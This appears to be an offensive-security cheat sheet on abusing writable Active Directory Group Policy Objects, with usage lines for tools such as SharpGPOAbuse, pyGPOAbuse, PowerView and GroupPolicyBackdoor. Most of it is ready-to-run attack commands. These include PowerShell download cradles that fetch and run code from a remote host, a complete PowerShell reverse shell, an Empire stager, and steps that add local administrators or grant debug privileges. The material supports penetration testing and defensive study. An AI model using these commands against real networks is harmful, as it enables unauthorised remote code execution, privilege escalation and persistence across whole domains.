Active Directory - Group Policy Objects

contents

ad-adds-group-policy-objects.md

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.

:warning: Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: gpupdate /force.

Find vulnerable GPO#

Look a GPLink where you have the Write right.

Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}

cogiceo/GPOHound - Offensive GPO dumping and analysis tool that leverages and enriches BloodHound data.

pipx install "git+https://github.com/cogiceo/GPOHound"gpohound dump --jsongpohound dump --list --gpo-namegpohound dump --guid 21246D99-1426-495B-9E8E-556ABDD81F94gpohound dump --file scripts psscriptsgpohound dump --search 'VNC.*Server' --showgpohound analysis --jsongpohound analysis --processed --object group registrygpohound analysis --guid CCF6CAE3-E280-4109-8F9D-25461DBB5D67 --affectedgpohound analysis --computer 'SRV-PA-03.NORTH.SEVENKINGDOMS.LOCAL' --ordergpohound analysis --enrich

Abuse GPO with SharpGPOAbuse#

FSecureLABS/SharpGPOAbuse - SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user’s edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.

# Build and configure SharpGPOAbuseInstall-Package CommandLineParser -Version 1.9.3.15ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll# Adding User Rights.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"# Adding a Local Admin.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"# Configuring a User or Computer Logon Script.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"# Configuring a Computer or User Immediate Task# /!\ Intended to "run once" per GPO refresh, not run once per system.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO".\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments  "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force

Abuse GPO with PowerGPOAbuse#

rootSySdk/PowerGPOAbuse - Powershell version of SharpGPOAbuse.

PS> . .\PowerGPOAbuse.ps1# Adding a localadmin PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'# Assign a new right PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'# Adding a New Computer/User script PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'# Create an immediate task PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'

Abuse GPO with pyGPOAbuse#

Hackndo/pyGPOAbuse - Partial python implementation of SharpGPOAbuse.

# Add john user to local administrators group (Password: H4x00r123..)./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"# Reverse shell example./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \     -powershell \     -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \     -taskname "Completely Legit Task" \    -description "Dis is legit, pliz no delete" \     -user

Abuse GPO with PowerView#

# Enumerate GPOGet-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPONew-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force

Abuse GPO with StandIn#

FuzzySecurity/StandIn - StandIn is a small .NET35/45 AD post-exploitation toolkit.

# Add a local administratorStandIn.exe --gpo --filter Shards --localadmin user002# Set custom right to a userStandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"# Execute a custom commandStandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"

Abuse GPO with GroupPolicyBackdoor#

synacktiv/GroupPolicyBackdoor - Group Policy Objects manipulation and exploitation framework

# Add Immediate Task to your target GPOpython3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO'# Cleanpython3 gpb.py gpo clean --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --state-folder 'state_folders/2025_07_15_075047'

ImmediateTask_create.ini:

[MODULECONFIG]name = Scheduled Taskstype = computer[MODULEOPTIONS]task_type = immediateprogram = cmd.exearguments = /c "whoami > C:\Temp\poc.txt"[MODULEFILTERS]filters =    [{        "operator": "AND",        "type": "Computer Name",        "value": "ad01-srv1.corp.com"    }]